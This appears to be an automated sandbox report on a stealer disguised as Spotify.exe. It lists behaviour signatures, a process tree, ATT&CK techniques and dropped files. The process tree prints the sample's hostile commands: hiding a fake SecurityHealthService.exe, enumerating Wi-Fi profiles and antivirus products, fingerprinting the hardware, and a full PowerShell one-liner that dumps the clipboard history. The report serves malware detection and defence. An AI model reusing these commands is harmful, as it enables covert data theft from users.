Overview

overview

8

Static

static

3

Spotify.exe

windows10-2004-x64

8

Spotify.exe

windows11-ltsc_2024-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    13/09/2026, 15:47

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Spotify.exe
  • Size 55.3MB
  • Sample260913-s8ddpsygpb
  • SHA256 2eefa06f689c59a05df8c3845822676480c8f9b0d3100757fe9dbafc27b8b323
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealer

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 28 IoCs

    Run Powershell to get system information.

    execution
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 36 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Discovers running processes 1 TTPs 2 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\Spotify.exe
    "C:\Users\Admin\AppData\Local\Temp\Spotify.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3044
    • C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\bin\javaw.exe
      C:\Users\Admin\AppData\Local\Temp/caxa/applications/saeq2weqwdcqaw\jtoryj8kbi/0/runtime/bin/javaw.exe --enable-native-access=ALL-UNNAMED -jar C:\Users\Admin\AppData\Local\Temp/caxa/applications/saeq2weqwdcqaw\jtoryj8kbi/0/app.jar
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Enumerates connected drives
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2300
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SecurityHealth\SecurityHealthService.exe
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:1772
        • C:\Windows\system32\attrib.exe
          attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SecurityHealth\SecurityHealthService.exe
          4⤵
          • Views/modifies file attributes
          PID:980
      • C:\Windows\SYSTEM32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1956
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:864
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_Processor | Select-Object -ExpandProperty Name -First 1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3320
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_VideoController | Select-Object -ExpandProperty Name -First 1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3708
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Manufacturer -First 1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1680
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty SMBIOSBIOSVersion -First 1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:920
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty SerialNumber -First 1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4208
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object -ExpandProperty Manufacturer -First 1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3472
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object -ExpandProperty Product -First 1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2832
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object -ExpandProperty Name -First 1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1892
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_PnPEntity -Filter "WHERE Caption LIKE '%USB%'" | Select-Object -ExpandProperty Caption"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4796
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct | Select-Object -ExpandProperty displayName"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2488
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -Command "Get-NetFirewallProfile | Where-Object {$_.Enabled -eq 'True'} | Select-Object -ExpandProperty Name"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4012
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object -ExpandProperty Model -First 1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4436
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object -ExpandProperty Manufacturer -First 1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3732
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c "netsh wlan show profiles"
          3⤵
          • Executes a command shell one-liner
          • System Network Configuration Discovery: Wi-Fi Discovery
          • Suspicious use of WriteProcessMemory
          PID:4916
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            4⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:3856
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c "net user"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:64
          • C:\Windows\system32\net.exe
            net user
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2116
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              5⤵
                PID:5048
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c "sc query state= active"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:760
            • C:\Windows\system32\sc.exe
              sc query state= active
              4⤵
              • Launches sc.exe
              PID:4124
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c "tasklist /FO CSV /NH"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3204
            • C:\Windows\system32\tasklist.exe
              tasklist /FO CSV /NH
              4⤵
              • Discovers running processes
              PID:2548
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Runtime.WindowsRuntime; Add-Type -AssemblyName PresentationCore; $asTaskGeneric = ([System.WindowsRuntimeSystemExtensions].GetMethods() | Where-Object { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' })[0]; try { [Windows.ApplicationModel.DataTransfer.Clipboard, Windows.ApplicationModel.DataTransfer, ContentType = WindowsRuntime] | Out-Null; $asyncOp = [Windows.ApplicationModel.DataTransfer.Clipboard]::GetHistoryItemsAsync(); $task = $asTaskGeneric.MakeGenericMethod([Windows.ApplicationModel.DataTransfer.ClipboardHistoryItemsResult]).Invoke($null, @($asyncOp)); $task.Wait(-1); if ($task.Result.Status -eq 'Success') { foreach($item in $task.Result.Items) { if ($item.Content.Contains([Windows.ApplicationModel.DataTransfer.StandardDataFormats]::Text)) { $txtOp = $item.Content.GetTextAsync(); $txtTask = $asTaskGeneric.MakeGenericMethod([string]).Invoke($null, @($txtOp)); $txtTask.Wait(-1) | Out-Null; Write-Output "---ENTRY---"; Write-Output $txtTask.Result } } } else { Write-Output "DISABLED - Clipboard history not enabled" } } catch { Write-Output "ERROR: $($_.Exception.Message)" }"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:1564
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SecurityHealth\SecurityHealthService.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SecurityHealth\SecurityHealthService.exe" --startup
        1⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4076
        • C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\bin\javaw.exe
          C:\Users\Admin\AppData\Local\Temp/caxa/applications/saeq2weqwdcqaw\jtoryj8kbi/0/runtime/bin/javaw.exe --enable-native-access=ALL-UNNAMED -jar C:\Users\Admin\AppData\Local\Temp/caxa/applications/saeq2weqwdcqaw\jtoryj8kbi/0/app.jar --startup
          2⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Enumerates connected drives
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4308
          • C:\Windows\system32\net.exe
            net session
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4112
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 session
              4⤵
                PID:4168
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_Processor | Select-Object -ExpandProperty Name -First 1"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3696
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_VideoController | Select-Object -ExpandProperty Name -First 1"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2376
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Manufacturer -First 1"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3548
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty SMBIOSBIOSVersion -First 1"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1496
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty SerialNumber -First 1"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1688
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object -ExpandProperty Manufacturer -First 1"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3000
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object -ExpandProperty Product -First 1"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4844
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object -ExpandProperty Name -First 1"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3720
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_PnPEntity -Filter "WHERE Caption LIKE '%USB%'" | Select-Object -ExpandProperty Caption"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3200
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct | Select-Object -ExpandProperty displayName"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:432
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Get-NetFirewallProfile | Where-Object {$_.Enabled -eq 'True'} | Select-Object -ExpandProperty Name"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5080
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object -ExpandProperty Model -First 1"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3736
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object -ExpandProperty Manufacturer -First 1"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2348
            • C:\Windows\system32\cmd.exe
              cmd.exe /c "netsh wlan show profiles"
              3⤵
              • Executes a command shell one-liner
              • System Network Configuration Discovery: Wi-Fi Discovery
              • Suspicious use of WriteProcessMemory
              PID:4924
              • C:\Windows\system32\netsh.exe
                netsh wlan show profiles
                4⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Network Configuration Discovery: Wi-Fi Discovery
                PID:1992
            • C:\Windows\system32\cmd.exe
              cmd.exe /c "net user"
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1996
              • C:\Windows\system32\net.exe
                net user
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3644
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user
                  5⤵
                    PID:2356
              • C:\Windows\system32\cmd.exe
                cmd.exe /c "sc query state= active"
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:3312
                • C:\Windows\system32\sc.exe
                  sc query state= active
                  4⤵
                  • Launches sc.exe
                  PID:436
              • C:\Windows\system32\cmd.exe
                cmd.exe /c "tasklist /FO CSV /NH"
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:5088
                • C:\Windows\system32\tasklist.exe
                  tasklist /FO CSV /NH
                  4⤵
                  • Discovers running processes
                  PID:1484
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Runtime.WindowsRuntime; Add-Type -AssemblyName PresentationCore; $asTaskGeneric = ([System.WindowsRuntimeSystemExtensions].GetMethods() | Where-Object { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' })[0]; try { [Windows.ApplicationModel.DataTransfer.Clipboard, Windows.ApplicationModel.DataTransfer, ContentType = WindowsRuntime] | Out-Null; $asyncOp = [Windows.ApplicationModel.DataTransfer.Clipboard]::GetHistoryItemsAsync(); $task = $asTaskGeneric.MakeGenericMethod([Windows.ApplicationModel.DataTransfer.ClipboardHistoryItemsResult]).Invoke($null, @($asyncOp)); $task.Wait(-1); if ($task.Result.Status -eq 'Success') { foreach($item in $task.Result.Items) { if ($item.Content.Contains([Windows.ApplicationModel.DataTransfer.StandardDataFormats]::Text)) { $txtOp = $item.Content.GetTextAsync(); $txtTask = $asTaskGeneric.MakeGenericMethod([string]).Invoke($null, @($txtOp)); $txtTask.Wait(-1) | Out-Null; Write-Output "---ENTRY---"; Write-Output $txtTask.Result } } } else { Write-Output "DISABLED - Clipboard history not enabled" } } catch { Write-Output "ERROR: $($_.Exception.Message)" }"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                PID:3196

          Network

                MITRE ATT&CK Enterprise v16

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                2
                T1059

                PowerShell

                1
                T1059.001

                Windows Command Shell

                1
                T1059.003

                Persistence

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Event Triggered Execution

                1
                T1546

                Netsh Helper DLL

                1
                T1546.007

                Privilege Escalation

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Event Triggered Execution

                1
                T1546

                Netsh Helper DLL

                1
                T1546.007

                Defense Evasion

                Hide Artifacts

                2
                T1564

                Hidden Files and Directories

                2
                T1564.001

                Modify Registry

                1
                T1112

                Credential Access

                Credentials from Password Stores

                1
                T1555

                Credentials from Web Browsers

                1
                T1555.003

                Unsecured Credentials

                1
                T1552

                Credentials In Files

                1
                T1552.001

                Discovery

                Browser Information Discovery

                1
                T1217

                Peripheral Device Discovery

                1
                T1120

                Process Discovery

                1
                T1057

                Query Registry

                4
                T1012

                System Information Discovery

                3
                T1082

                System Network Configuration Discovery

                2
                T1016

                Internet Connection Discovery

                1
                T1016.001

                Wi-Fi Discovery

                1
                T1016.002

                Lateral Movement

                Collection

                Data from Local System

                1
                T1005

                Command and Control

                Web Service

                1
                T1102

                Exfiltration

                Impact

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                powershell.exe.log
                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 3KB
                • SHA256 b58f994c644f7b4a831e889630bfd7ca0860aeb1e0920dc0f5d4928585a9dbab
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 3f80bbfa60c9ca89cf64afddb4ed2ac05533535a28d4dcee307c88029ad6606e
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 17d61b3136f4fde3c23793ba39e866328991aada37ccae3f2b8c4ae34aa4f8c0
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 eb7153b04811fea3917af0181842c7a6906bec931d3866bbfc98785c0469bacf
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                __PSScriptPolicyTest_xs1l1qko.quu.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xs1l1qko.quu.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                app.jar
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\app.jar
                • Size 25.2MB
                • SHA256 6151d106fce6dddb4835b88a44e0bcc1fce9062405df3a729132553b0b07d45b
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                VCRUNTIME140.dll
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\bin\VCRUNTIME140.dll
                • Size 95KB
                • SHA256 475ab98b7722e965bd38c8fa6ed23502309582ccf294ff1061cb290c7988f0d1
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                awt.dll
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\bin\awt.dll
                • Size 1.4MB
                • SHA256 9a853baf6dbe94ad092536268cdcc0155ab2e1f201d5fb2049911042f5002eb6
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                java.dll
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\bin\java.dll
                • Size 143KB
                • SHA256 ccf29756cbc641de4bbd4b0b53109b2a46f6e440bb8b896bccc3b528a7c07b8c
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                javaw.exe
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\bin\javaw.exe
                • Size 53KB
                • SHA256 12f5eb0abf85c6daf2da6653e49cd7f6ef9af15e7f723fd79a8e97d406328583
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                jimage.dll
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\bin\jimage.dll
                • Size 32KB
                • SHA256 814666203b926cc55afaf78d6f7932b95cfbc4048369c48b11f610ff59b71af0
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                jli.dll
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\bin\jli.dll
                • Size 90KB
                • SHA256 51f9bf860f546de728def47130e47350b4e770a19e2de9be93e392214c1a9538
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                management.dll
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\bin\management.dll
                • Size 28KB
                • SHA256 d6de480787276769532b925eeb662d0f58e69abe751df757632000c5f2632138
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                management_ext.dll
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\bin\management_ext.dll
                • Size 35KB
                • SHA256 18a07b2283390ca10cd8cef141a1314e2a432a4b4026b52c962bb7ee268b307b
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                msvcp140.dll
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\bin\msvcp140.dll
                • Size 558KB
                • SHA256 a88b8c1c8f27bf90fe960e0e8bd56984ad48167071af92d96ec1051f89f827fb
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                net.dll
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\bin\net.dll
                • Size 94KB
                • SHA256 85956f4253b076249a9938607311a3154a483d1a6db880994d3e0752ee5f3d7b
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                nio.dll
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\bin\nio.dll
                • Size 78KB
                • SHA256 034a9d7629de4b0c602bfdfdadf31ecd2db6a60e5715ff94cb65cbf17abea464
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                jvm.dll
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\bin\server\jvm.dll
                • Size 11.6MB
                • SHA256 f13c67a3814c60efd19dd4ce19340d04fb84571b527c05debca9c5bea97b77c9
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                vcruntime140_1.dll
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\bin\vcruntime140_1.dll
                • Size 36KB
                • SHA256 0579d460ea1f7e8a815fa55a8821a5ff489c8097f051765e9beaf25d8d0f27d6
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                zip.dll
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\bin\zip.dll
                • Size 87KB
                • SHA256 13c8b18944900d0563d2170b3d4063abaf30bdd4f1781eaf5d54833e4aebc649
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                logging.properties
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\conf\logging.properties
                • Size 2KB
                • SHA256 b62d2733ab99556b108a1951d894c5a8d76b1ac7a00c02c388f9eb9be046c56f
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                java.security
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\conf\security\java.security
                • Size 57KB
                • SHA256 6e83195863acf3e16e81afc862df5291953b4cbf2cb04b6b8baf1e18776db9c5
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                COPYRIGHT
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\legal\java.logging\COPYRIGHT
                • Size 35B
                • SHA256 7afb3a2dc57cb16223dddc970e0b464311e5311484c793abf9327a19ef629018
                • MD5 SHA1 SHA512
                Submit Download

                LICENSE
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\legal\java.logging\LICENSE
                • Size 33B
                • SHA256 86e0516b888276a492b19f9a84f5a866ed36925fae1510b3a94a0b6213e69192
                • MD5 SHA1 SHA512
                Submit Download

                jvm.cfg
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\lib\jvm.cfg
                • Size 29B
                • SHA256 aa9efb969444c1484e29adecab55a122458090616e766b2f1230ef05bc3867e0
                • MD5 SHA1 SHA512
                Submit Download

                modules
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\lib\modules
                • Size 20.8MB
                • SHA256 ae54888e76bd447d8d385836e0884087dfbd0e5b3e1ab5e1f0621f6d01e5b434
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                tzdb.dat
                • Path C:\Users\Admin\AppData\Local\Temp\caxa\applications\saeq2weqwdcqaw\jtoryj8kbi\0\runtime\lib\tzdb.dat
                • Size 101KB
                • SHA256 b7dba25abdfee317daa042c89b01e5711f5781d020dd733ba411760b72addb93
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                tzmappings
